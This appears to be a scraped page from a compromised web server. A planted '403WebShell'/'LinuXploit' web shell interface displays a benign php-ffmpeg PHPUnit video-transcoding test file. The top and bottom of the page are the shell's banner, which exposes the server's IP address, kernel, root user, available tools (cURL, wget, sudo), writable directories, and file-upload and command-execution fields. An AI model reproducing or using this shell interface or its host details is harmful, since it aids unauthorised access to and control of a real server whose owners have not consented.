WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/php-ffmpeg/php-ffmpeg/tests/Functional/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/php-ffmpeg/php-ffmpeg/tests/Functional/VideoTranscodeTest.php
<?php

namespace Tests\FFMpeg\Functional;

use FFMpeg\Coordinate\Dimension;
use FFMpeg\Filters\Video\ResizeFilter;
use FFMpeg\Filters\Video\RotateFilter;
use FFMpeg\Format\Video\X264;
use FFMpeg\Media\Video;

class VideoTranscodeTest extends FunctionalTestCase
{
    public function testSimpleTranscodeX264()
    {
        $filename = __DIR__ . '/output/output-x264.mp4';
        if (is_file($filename)) {
            unlink(__DIR__ . '/output/output-x264.mp4');
        }

        $ffmpeg = $this->getFFMpeg();
        $video = $ffmpeg->open(__DIR__ . '/../files/Test.ogv');

        $this->assertInstanceOf('FFMpeg\Media\Video', $video);

        $lastPercentage = null;
        $phpunit = $this;

        $codec = new X264('aac');
        $codec->on('progress', function ($video, $codec, $percentage) use ($phpunit, &$lastPercentage) {
            if (null !== $lastPercentage) {
                $phpunit->assertGreaterThanOrEqual($lastPercentage, $percentage);
            }
            $lastPercentage = $percentage;
            $phpunit->assertGreaterThanOrEqual(0, $percentage);
            $phpunit->assertLessThanOrEqual(100, $percentage);
        });

        $video->save($codec, $filename);
        $this->assertFileExists($filename);
        unlink($filename);
    }

    public function testAacTranscodeX264()
    {
        $filename = __DIR__ . '/output/output-x264_2.mp4';
        if (is_file($filename)) {
            unlink(__DIR__ . '/output/output-x264_2.mp4');
        }

        $ffmpeg = $this->getFFMpeg();
        $video = $ffmpeg->open(__DIR__ . '/../files/sample.3gp');

        $this->assertInstanceOf('FFMpeg\Media\Video', $video);

        $lastPercentage = null;
        $phpunit = $this;

        $codec = new X264('aac');
        $codec->on('progress', function ($video, $codec, $percentage) use ($phpunit, &$lastPercentage) {
            if (null !== $lastPercentage) {
                $phpunit->assertGreaterThanOrEqual($lastPercentage, $percentage);
            }
            $lastPercentage = $percentage;
            $phpunit->assertGreaterThanOrEqual(0, $percentage);
            $phpunit->assertLessThanOrEqual(100, $percentage);
        });

        $video->save($codec, $filename);
        $this->assertFileExists($filename);
        unlink($filename);
    }

    /**
     * @expectedException \FFMpeg\Exception\RuntimeException
     */
    public function testTranscodeInvalidFile()
    {
        $ffmpeg = $this->getFFMpeg();
        $ffmpeg->open(__DIR__ . '/../files/UnknownFileTest.ogv');
    }

    public function testSaveInvalidForgedVideo()
    {
        $ffmpeg = $this->getFFMpeg();
        $video = new Video(__DIR__ . '/../files/UnknownFileTest.ogv', $ffmpeg->getFFMpegDriver(), $ffmpeg->getFFProbe());

        $this->setExpectedException('FFMpeg\Exception\RuntimeException');
        $video->save(new X264('aac'), __DIR__ . '/output/output-x264.mp4');
    }

    public function testTranscodePortraitVideo()
    {
        $info = $this->getNameAndVersion();

        if ($info['name'] === 'avconv' && version_compare($info['version'], '0.9', '<')) {
            $this->markTestSkipped('This version of avconv is buggy and does not support this test.');
        }

        $filename = __DIR__ . '/output/output-x264.mp4';
        if (is_file($filename)) {
            unlink(__DIR__ . '/output/output-x264.mp4');
        }

        $ffmpeg = $this->getFFMpeg();
        $video = $ffmpeg->open(__DIR__ . '/../files/portrait.MOV');

        $video->filters()
            ->resize(new Dimension(320, 240), ResizeFilter::RESIZEMODE_INSET)
            ->rotate(RotateFilter::ROTATE_90);
        $video->save(new X264('aac'), $filename);

        $dimension = $ffmpeg->getFFProbe()
            ->streams($filename)
            ->videos()
            ->first()
            ->getDimensions();

        $this->assertLessThan(1, $dimension->getRatio(false)->getValue());
        $this->assertEquals(240, $dimension->getHeight());

        $this->assertFileExists($filename);
        unlink($filename);
    }

    private function getNameAndVersion()
    {
        $binary = $this
            ->getFFMpeg()
            ->getFFMpegDriver()
            ->getProcessBuilderFactory()
            ->getBinary();

        $output = $matches = null;
        exec($binary . ' -version 2>&1', $output);

        if (!isset($output[0])) {
            return array('name' => null, 'version' => null);
        }

        preg_match('/^([a-z]+)\s+version\s+([0-9\.]+)/i', $output[0], $matches);

        if (count($matches) > 0) {
            return array('name' => $matches[1], 'version' => $matches[2]);
        }

        return array('name' => null, 'version' => null);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit